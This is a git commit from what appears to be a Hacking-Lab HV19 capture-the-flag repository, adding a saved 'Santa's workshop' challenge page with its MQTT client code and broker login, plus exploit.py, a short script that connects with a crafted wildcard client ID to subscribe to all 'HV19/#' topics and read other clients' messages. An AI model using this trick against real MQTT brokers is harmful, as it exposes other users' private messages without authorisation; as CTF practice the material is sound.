Day 15 solved
This commit is contained in:
		
							parent
							
								
									74cc704650
								
							
						
					
					
						commit
						2bc1b72260
					
				
							
								
								
									
										55
									
								
								Day 15/Santa's workshop.html
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										55
									
								
								Day 15/Santa's workshop.html
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,55 @@ | ||||
| <!DOCTYPE html> | ||||
| <html xmlns="http://www.w3.org/1999/xhtml"><head> | ||||
| <meta http-equiv="content-type" content="text/html; charset=UTF-8"> | ||||
|     <title>Santa's workshop</title> | ||||
|     <meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||||
|     <meta charset="utf-8"> | ||||
|     <link href="Santa's%20workshop_files/bootstrap.css" rel="stylesheet"> | ||||
|     <link href="Santa's%20workshop_files/cover.css" rel="stylesheet"> | ||||
|     <script src="Santa's%20workshop_files/countUp.js" type="module"></script> | ||||
|     <script src="Santa's%20workshop_files/count.js" type="module"></script> | ||||
|     <script src="Santa's%20workshop_files/mqttws31.js" type="text/javascript"></script> | ||||
|     <script src="Santa's%20workshop_files/jquery.js" type="text/javascript"></script> | ||||
|     <script src="Santa's%20workshop_files/config.js" type="text/javascript"></script> | ||||
|     <script src="Santa's%20workshop_files/mqtt.js" type="text/javascript"></script> | ||||
|     <style> | ||||
|       .bd-placeholder-img { | ||||
|         font-size: 1.125rem; | ||||
|         text-anchor: middle; | ||||
|         -webkit-user-select: none; | ||||
|         -moz-user-select: none; | ||||
|         -ms-user-select: none; | ||||
|         user-select: none; | ||||
|       } | ||||
|       @media (min-width: 768px) { | ||||
|         .bd-placeholder-img-lg { | ||||
|           font-size: 3.5rem; | ||||
|         } | ||||
|       } | ||||
|     </style> | ||||
|     <script type="text/javascript"> | ||||
|     var countUp | ||||
|     $(document).ready(function() { | ||||
|         MQTTconnect(); | ||||
|         $("body").click(function(){   | ||||
|             $(".alert").hide(); | ||||
|         }); | ||||
|     }); | ||||
|     </script> | ||||
|   </head> | ||||
|   <body class="text-center"> | ||||
|     <div id="alert"><div class="alert alert-warning" role="alert" style="display: none;">Uhm.. somebody is currently messing with me. Try refreshing the page. I lost connection but why? 🤔</div></div> | ||||
|     <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column"> | ||||
|       <main role="main" class="inner cover"> | ||||
|         <h1 class="cover-heading">Ho Ho Ho</h1> | ||||
|         <p class="lead">The elves in Santa's workshop <br> | ||||
|         Are busy as can be<br> | ||||
|         They all are working around the clock<br> | ||||
|         On toys for you and me</p> | ||||
|         <img style="float:left" src="Santa's%20workshop_files/gift.svg" width="200"> | ||||
|         <h1 style="margin-top: 2.5em;" id="gifts">7.347.622</h1><p class="lead">gifts built by the elves!</p>  | ||||
|       </main> | ||||
|     </div>  | ||||
|    | ||||
| 
 | ||||
| </body></html> | ||||
							
								
								
									
										7
									
								
								Day 15/Santa's workshop_files/bootstrap.css
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										7
									
								
								Day 15/Santa's workshop_files/bootstrap.css
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
										
											
												File diff suppressed because one or more lines are too long
											
										
									
								
							
							
								
								
									
										15
									
								
								Day 15/Santa's workshop_files/config.js
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										15
									
								
								Day 15/Santa's workshop_files/config.js
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,15 @@ | ||||
| var mqtt; | ||||
| var reconnectTimeout = 100; | ||||
| var host = 'whale.hacking-lab.com'; | ||||
| var port = 9001; | ||||
| var useTLS = false; | ||||
| var username = 'workshop'; | ||||
| var password = '2fXc7AWINBXyruvKLiX'; | ||||
| var clientid = localStorage.getItem("clientid"); | ||||
| if (clientid == null) { | ||||
|   clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0'); | ||||
|   localStorage.setItem("clientid", clientid); | ||||
| } | ||||
| // var topic = 'HV19/gifts/'+clientid;
 | ||||
| var topic = 'HV19/gifts/'+clientid+'/flag-tbd'; | ||||
| var cleansession = true; | ||||
							
								
								
									
										10
									
								
								Day 15/Santa's workshop_files/count.js
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										10
									
								
								Day 15/Santa's workshop_files/count.js
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,10 @@ | ||||
| import { CountUp } from './countUp.js'; | ||||
| const options = { | ||||
|   separator: '.', | ||||
| }; | ||||
| countUp = new CountUp('gifts', 0, options); | ||||
| if (!countUp.error) { | ||||
|   countUp.start(); | ||||
| } else { | ||||
|   console.error(countUp.error); | ||||
| } | ||||
							
								
								
									
										248
									
								
								Day 15/Santa's workshop_files/countUp.js
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										248
									
								
								Day 15/Santa's workshop_files/countUp.js
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,248 @@ | ||||
| var __assign = (this && this.__assign) || function () { | ||||
|     __assign = Object.assign || function(t) { | ||||
|         for (var s, i = 1, n = arguments.length; i < n; i++) { | ||||
|             s = arguments[i]; | ||||
|             for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||||
|                 t[p] = s[p]; | ||||
|         } | ||||
|         return t; | ||||
|     }; | ||||
|     return __assign.apply(this, arguments); | ||||
| }; | ||||
| // playground: stackblitz.com/edit/countup-typescript
 | ||||
| var CountUp = /** @class */ (function () { | ||||
|     function CountUp(target, endVal, options) { | ||||
|         var _this = this; | ||||
|         this.target = target; | ||||
|         this.endVal = endVal; | ||||
|         this.options = options; | ||||
|         this.version = '2.0.4'; | ||||
|         this.defaults = { | ||||
|             startVal: 0, | ||||
|             decimalPlaces: 0, | ||||
|             duration: 2, | ||||
|             useEasing: true, | ||||
|             useGrouping: true, | ||||
|             smartEasingThreshold: 999, | ||||
|             smartEasingAmount: 333, | ||||
|             separator: ',', | ||||
|             decimal: '.', | ||||
|             prefix: '', | ||||
|             suffix: '' | ||||
|         }; | ||||
|         this.finalEndVal = null; // for smart easing
 | ||||
|         this.useEasing = true; | ||||
|         this.countDown = false; | ||||
|         this.error = ''; | ||||
|         this.startVal = 0; | ||||
|         this.paused = true; | ||||
|         this.count = function (timestamp) { | ||||
|             if (!_this.startTime) { | ||||
|                 _this.startTime = timestamp; | ||||
|             } | ||||
|             var progress = timestamp - _this.startTime; | ||||
|             _this.remaining = _this.duration - progress; | ||||
|             // to ease or not to ease
 | ||||
|             if (_this.useEasing) { | ||||
|                 if (_this.countDown) { | ||||
|                     _this.frameVal = _this.startVal - _this.easingFn(progress, 0, _this.startVal - _this.endVal, _this.duration); | ||||
|                 } | ||||
|                 else { | ||||
|                     _this.frameVal = _this.easingFn(progress, _this.startVal, _this.endVal - _this.startVal, _this.duration); | ||||
|                 } | ||||
|             } | ||||
|             else { | ||||
|                 if (_this.countDown) { | ||||
|                     _this.frameVal = _this.startVal - ((_this.startVal - _this.endVal) * (progress / _this.duration)); | ||||
|                 } | ||||
|                 else { | ||||
|                     _this.frameVal = _this.startVal + (_this.endVal - _this.startVal) * (progress / _this.duration); | ||||
|                 } | ||||
|             } | ||||
|             // don't go past endVal since progress can exceed duration in the last frame
 | ||||
|             if (_this.countDown) { | ||||
|                 _this.frameVal = (_this.frameVal < _this.endVal) ? _this.endVal : _this.frameVal; | ||||
|             } | ||||
|             else { | ||||
|                 _this.frameVal = (_this.frameVal > _this.endVal) ? _this.endVal : _this.frameVal; | ||||
|             } | ||||
|             // decimal
 | ||||
|             _this.frameVal = Math.round(_this.frameVal * _this.decimalMult) / _this.decimalMult; | ||||
|             // format and print value
 | ||||
|             _this.printValue(_this.frameVal); | ||||
|             // whether to continue
 | ||||
|             if (progress < _this.duration) { | ||||
|                 _this.rAF = requestAnimationFrame(_this.count); | ||||
|             } | ||||
|             else if (_this.finalEndVal !== null) { | ||||
|                 // smart easing
 | ||||
|                 _this.update(_this.finalEndVal); | ||||
|             } | ||||
|             else { | ||||
|                 if (_this.callback) { | ||||
|                     _this.callback(); | ||||
|                 } | ||||
|             } | ||||
|         }; | ||||
|         // default format and easing functions
 | ||||
|         this.formatNumber = function (num) { | ||||
|             var neg = (num < 0) ? '-' : ''; | ||||
|             var result, x, x1, x2, x3; | ||||
|             result = Math.abs(num).toFixed(_this.options.decimalPlaces); | ||||
|             result += ''; | ||||
|             x = result.split('.'); | ||||
|             x1 = x[0]; | ||||
|             x2 = x.length > 1 ? _this.options.decimal + x[1] : ''; | ||||
|             if (_this.options.useGrouping) { | ||||
|                 x3 = ''; | ||||
|                 for (var i = 0, len = x1.length; i < len; ++i) { | ||||
|                     if (i !== 0 && (i % 3) === 0) { | ||||
|                         x3 = _this.options.separator + x3; | ||||
|                     } | ||||
|                     x3 = x1[len - i - 1] + x3; | ||||
|                 } | ||||
|                 x1 = x3; | ||||
|             } | ||||
|             // optional numeral substitution
 | ||||
|             if (_this.options.numerals && _this.options.numerals.length) { | ||||
|                 x1 = x1.replace(/[0-9]/g, function (w) { return _this.options.numerals[+w]; }); | ||||
|                 x2 = x2.replace(/[0-9]/g, function (w) { return _this.options.numerals[+w]; }); | ||||
|             } | ||||
|             return neg + _this.options.prefix + x1 + x2 + _this.options.suffix; | ||||
|         }; | ||||
|         this.easeOutExpo = function (t, b, c, d) { | ||||
|             return c * (-Math.pow(2, -10 * t / d) + 1) * 1024 / 1023 + b; | ||||
|         }; | ||||
|         this.options = __assign({}, this.defaults, options); | ||||
|         this.formattingFn = (this.options.formattingFn) ? | ||||
|             this.options.formattingFn : this.formatNumber; | ||||
|         this.easingFn = (this.options.easingFn) ? | ||||
|             this.options.easingFn : this.easeOutExpo; | ||||
|         this.startVal = this.validateValue(this.options.startVal); | ||||
|         this.frameVal = this.startVal; | ||||
|         this.endVal = this.validateValue(endVal); | ||||
|         this.options.decimalPlaces = Math.max(0 || this.options.decimalPlaces); | ||||
|         this.decimalMult = Math.pow(10, this.options.decimalPlaces); | ||||
|         this.resetDuration(); | ||||
|         this.options.separator = String(this.options.separator); | ||||
|         this.useEasing = this.options.useEasing; | ||||
|         if (this.options.separator === '') { | ||||
|             this.options.useGrouping = false; | ||||
|         } | ||||
|         this.el = (typeof target === 'string') ? document.getElementById(target) : target; | ||||
|         if (this.el) { | ||||
|             this.printValue(this.startVal); | ||||
|         } | ||||
|         else { | ||||
|             this.error = '[CountUp] target is null or undefined'; | ||||
|         } | ||||
|     } | ||||
|     // determines where easing starts and whether to count down or up
 | ||||
|     CountUp.prototype.determineDirectionAndSmartEasing = function () { | ||||
|         var end = (this.finalEndVal) ? this.finalEndVal : this.endVal; | ||||
|         this.countDown = (this.startVal > end); | ||||
|         var animateAmount = end - this.startVal; | ||||
|         if (Math.abs(animateAmount) > this.options.smartEasingThreshold) { | ||||
|             this.finalEndVal = end; | ||||
|             var up = (this.countDown) ? 1 : -1; | ||||
|             this.endVal = end + (up * this.options.smartEasingAmount); | ||||
|             this.duration = this.duration / 2; | ||||
|         } | ||||
|         else { | ||||
|             this.endVal = end; | ||||
|             this.finalEndVal = null; | ||||
|         } | ||||
|         if (this.finalEndVal) { | ||||
|             this.useEasing = false; | ||||
|         } | ||||
|         else { | ||||
|             this.useEasing = this.options.useEasing; | ||||
|         } | ||||
|     }; | ||||
|     // start animation
 | ||||
|     CountUp.prototype.start = function (callback) { | ||||
|         if (this.error) { | ||||
|             return; | ||||
|         } | ||||
|         this.callback = callback; | ||||
|         if (this.duration > 0) { | ||||
|             this.determineDirectionAndSmartEasing(); | ||||
|             this.paused = false; | ||||
|             this.rAF = requestAnimationFrame(this.count); | ||||
|         } | ||||
|         else { | ||||
|             this.printValue(this.endVal); | ||||
|         } | ||||
|     }; | ||||
|     // pause/resume animation
 | ||||
|     CountUp.prototype.pauseResume = function () { | ||||
|         if (!this.paused) { | ||||
|             cancelAnimationFrame(this.rAF); | ||||
|         } | ||||
|         else { | ||||
|             this.startTime = null; | ||||
|             this.duration = this.remaining; | ||||
|             this.startVal = this.frameVal; | ||||
|             this.determineDirectionAndSmartEasing(); | ||||
|             this.rAF = requestAnimationFrame(this.count); | ||||
|         } | ||||
|         this.paused = !this.paused; | ||||
|     }; | ||||
|     // reset to startVal so animation can be run again
 | ||||
|     CountUp.prototype.reset = function () { | ||||
|         cancelAnimationFrame(this.rAF); | ||||
|         this.paused = true; | ||||
|         this.resetDuration(); | ||||
|         this.startVal = this.validateValue(this.options.startVal); | ||||
|         this.frameVal = this.startVal; | ||||
|         this.printValue(this.startVal); | ||||
|     }; | ||||
|     // pass a new endVal and start animation
 | ||||
|     CountUp.prototype.update = function (newEndVal) { | ||||
|         cancelAnimationFrame(this.rAF); | ||||
|         this.startTime = null; | ||||
|         this.endVal = this.validateValue(newEndVal); | ||||
|         if (this.endVal === this.frameVal) { | ||||
|             return; | ||||
|         } | ||||
|         this.startVal = this.frameVal; | ||||
|         if (!this.finalEndVal) { | ||||
|             this.resetDuration(); | ||||
|         } | ||||
|         this.determineDirectionAndSmartEasing(); | ||||
|         this.rAF = requestAnimationFrame(this.count); | ||||
|     }; | ||||
|     CountUp.prototype.printValue = function (val) { | ||||
|         var result = this.formattingFn(val); | ||||
|         if (this.el.tagName === 'INPUT') { | ||||
|             var input = this.el; | ||||
|             input.value = result; | ||||
|         } | ||||
|         else if (this.el.tagName === 'text' || this.el.tagName === 'tspan') { | ||||
|             this.el.textContent = result; | ||||
|         } | ||||
|         else { | ||||
|             this.el.innerHTML = result; | ||||
|         } | ||||
|     }; | ||||
|     CountUp.prototype.ensureNumber = function (n) { | ||||
|         return (typeof n === 'number' && !isNaN(n)); | ||||
|     }; | ||||
|     CountUp.prototype.validateValue = function (value) { | ||||
|         var newValue = Number(value); | ||||
|         if (!this.ensureNumber(newValue)) { | ||||
|             this.error = "[CountUp] invalid start or end value: " + value; | ||||
|             return null; | ||||
|         } | ||||
|         else { | ||||
|             return newValue; | ||||
|         } | ||||
|     }; | ||||
|     CountUp.prototype.resetDuration = function () { | ||||
|         this.startTime = null; | ||||
|         this.duration = Number(this.options.duration) * 1000; | ||||
|         this.remaining = this.duration; | ||||
|     }; | ||||
|     return CountUp; | ||||
| }()); | ||||
| export { CountUp }; | ||||
							
								
								
									
										1
									
								
								Day 15/Santa's workshop_files/cover.css
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										1
									
								
								Day 15/Santa's workshop_files/cover.css
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1 @@ | ||||
| body,html{height:100%;background-color:#fff}body{display:-ms-flexbox;display:flex;color:#fff;text-shadow:0 .05rem .1rem rgba(0,0,0,.5);box-shadow:inset 0 0 5rem rgba(0,0,0,.5);background-image:url(bg.jpg);background-size:center;background-position:center;background-repeat:no-repeat}h1{color:#a90307}p{color:#000}.cover-container{max-width:42em}.cover{margin:auto 0;padding:0 1.5rem}.cover .btn-lg{padding:.75rem 1.25rem;font-weight:700}#alert{width:100%;position:fixed;top:0;z-index:99999} | ||||
							
								
								
									
										48
									
								
								Day 15/Santa's workshop_files/gift.svg
									
									
									
									
									
										Normal file
									
								
							
							
								
									
								
								
								
								
								
									
									
								
							
						
						
									
										48
									
								
								Day 15/Santa's workshop_files/gift.svg
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,48 @@ | ||||
| <?xml version="1.0" encoding="iso-8859-1"?> | ||||
| <!-- Generator: Adobe Illustrator 19.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  --> | ||||
| <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" | ||||
| 	 viewBox="0 0 280.071 280.071" style="enable-background:new 0 0 280.071 280.071;" xml:space="preserve"> | ||||
| <g> | ||||
| 	<path style="fill:#BF392C;" d="M232.986,17.729C227.578,6.624,216.316,0,202.901,0C172.326,0,150.641,33.034,140,53.879 | ||||
| 		C129.332,33.052,107.683,0.21,77.168,0.21c-19.357,0-33.393,13.791-33.393,32.492c0,33.166,31.634,54.807,95.227,54.807 | ||||
| 		s97.283-27.81,97.283-54.535C236.276,27.67,235.305,22.463,232.986,17.729z M82.559,50.65 | ||||
| 		c-9.258-5.531-12.557-11.726-12.557-15.699c0-5.075,5.399-8.751,12.837-8.751c17.922,0,40.849,29.438,48.558,43.842 | ||||
| 		C110.745,68.502,89.612,54.868,82.559,50.65z M208.79,39.668c-4.647,9.381-29.219,28.073-59.917,30.365 | ||||
| 		c7.745-14.404,30.715-43.842,48.357-43.842c6.826,0,10.746,2.958,12.111,5.723C210.426,34.12,210.243,36.736,208.79,39.668z"/> | ||||
| 	<path style="fill:#EFC75E;" d="M280.048,87.552H0.021v70.024h8.751V280.07h262.526V157.577h8.751 | ||||
| 		C280.048,157.577,280.048,87.552,280.048,87.552z"/> | ||||
| 	<path style="fill:#D7B354;" d="M8.772,157.568h262.526v17.502H8.772V157.568z"/> | ||||
| 	<path style="fill:#BF392C;" d="M122.533,87.552h35.003v192.519h-35.003C122.533,280.071,122.533,87.552,122.533,87.552z"/> | ||||
| 	<rect x="122.533" y="157.568" style="fill:#AC3327;" width="35.003" height="17.502"/> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| <g> | ||||
| </g> | ||||
| </svg> | ||||
| After Width: | Height: | Size: 1.6 KiB | 
							
								
								
									
										2
									
								
								Day 15/Santa's workshop_files/jquery.js
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										2
									
								
								Day 15/Santa's workshop_files/jquery.js
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
										
											
												File diff suppressed because one or more lines are too long
											
										
									
								
							
							
								
								
									
										47
									
								
								Day 15/Santa's workshop_files/mqtt.js
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										47
									
								
								Day 15/Santa's workshop_files/mqtt.js
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,47 @@ | ||||
| function MQTTconnect() { | ||||
| if (typeof path == "undefined") { | ||||
| 	path = ''; | ||||
| } | ||||
| mqtt = new Paho.MQTT.Client( | ||||
| 		host, | ||||
| 		port, | ||||
| 		path, | ||||
| 		clientid | ||||
| ); | ||||
|     var options = { | ||||
|         timeout: 3, | ||||
|         keepAliveInterval: 60, | ||||
|         useSSL: useTLS, | ||||
|         cleanSession: cleansession, | ||||
|         onSuccess: onConnect, | ||||
|         onFailure: function (message) { | ||||
|             $('#status').val("Connection failed: " + message.errorMessage + "Retrying"); | ||||
|             setTimeout(MQTTconnect, reconnectTimeout); | ||||
|         } | ||||
|     }; | ||||
| 
 | ||||
|     mqtt.onConnectionLost = onConnectionLost; | ||||
|     mqtt.onMessageArrived = onMessageArrived; | ||||
| 
 | ||||
|     if (username != null) { | ||||
|         options.userName = username; | ||||
|         options.password = password; | ||||
|     } | ||||
|     mqtt.connect(options); | ||||
| } | ||||
| 
 | ||||
| function onConnect() { | ||||
|     mqtt.subscribe(topic, {qos: 0}); | ||||
| } | ||||
| 
 | ||||
| function onConnectionLost(response) { | ||||
|     setTimeout(MQTTconnect, reconnectTimeout); | ||||
|     $('#alert').html('<div class="alert alert-warning" role="alert">Uhm.. somebody is currently messing with me. Try refreshing the page. I lost connection but why? 🤔</div>'); | ||||
| }; | ||||
| 
 | ||||
| function onMessageArrived(message) { | ||||
| 
 | ||||
|     //var topic = message.destinationName;
 | ||||
|     var payload = message.payloadString; | ||||
|     countUp.update(payload); | ||||
| }; | ||||
							
								
								
									
										2143
									
								
								Day 15/Santa's workshop_files/mqttws31.js
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										2143
									
								
								Day 15/Santa's workshop_files/mqttws31.js
									
									
									
									
									
										Normal file
									
								
							
										
											
												File diff suppressed because it is too large
												Load Diff
											
										
									
								
							
							
								
								
									
										34
									
								
								Day 15/exploit.py
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										34
									
								
								Day 15/exploit.py
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,34 @@ | ||||
| #!/usr/bin/python | ||||
| 
 | ||||
| import paho.mqtt.client as mqtt | ||||
| import time | ||||
| import random | ||||
| import logging | ||||
| 
 | ||||
| def on_connect(client, userdata, flags, rc): | ||||
|     if rc == 0: | ||||
|         path = 'HV19/#'; | ||||
|         client.subscribe(path, qos=0) | ||||
| 
 | ||||
| def on_message(client, userdata, msg): | ||||
|     print(msg.topic, msg.payload) | ||||
| 
 | ||||
| def on_publish(client, userdata, mid): | ||||
|     print("message published") | ||||
| 
 | ||||
| def createClient(username, password): | ||||
|     clientId = "%016d/#" % 0 | ||||
|     client = mqtt.Client(transport="websockets", client_id=clientId, clean_session=True) | ||||
|     client.username_pw_set(username, password) | ||||
|     client.on_connect = on_connect | ||||
|     client.on_message = on_message | ||||
|     client.on_publish = on_publish | ||||
|     client.on_log     = on_log | ||||
|     return client | ||||
| 
 | ||||
| def on_log(c, userdata, level, buf): | ||||
|     print(str(level), buf) | ||||
| 
 | ||||
| client = createClient("workshop", "2fXc7AWINBXyruvKLiX") | ||||
| client.connect("whale.hacking-lab.com", 9001, 100) | ||||
| client.loop_forever() | ||||
		Loading…
	
		Reference in New Issue
	
	Block a user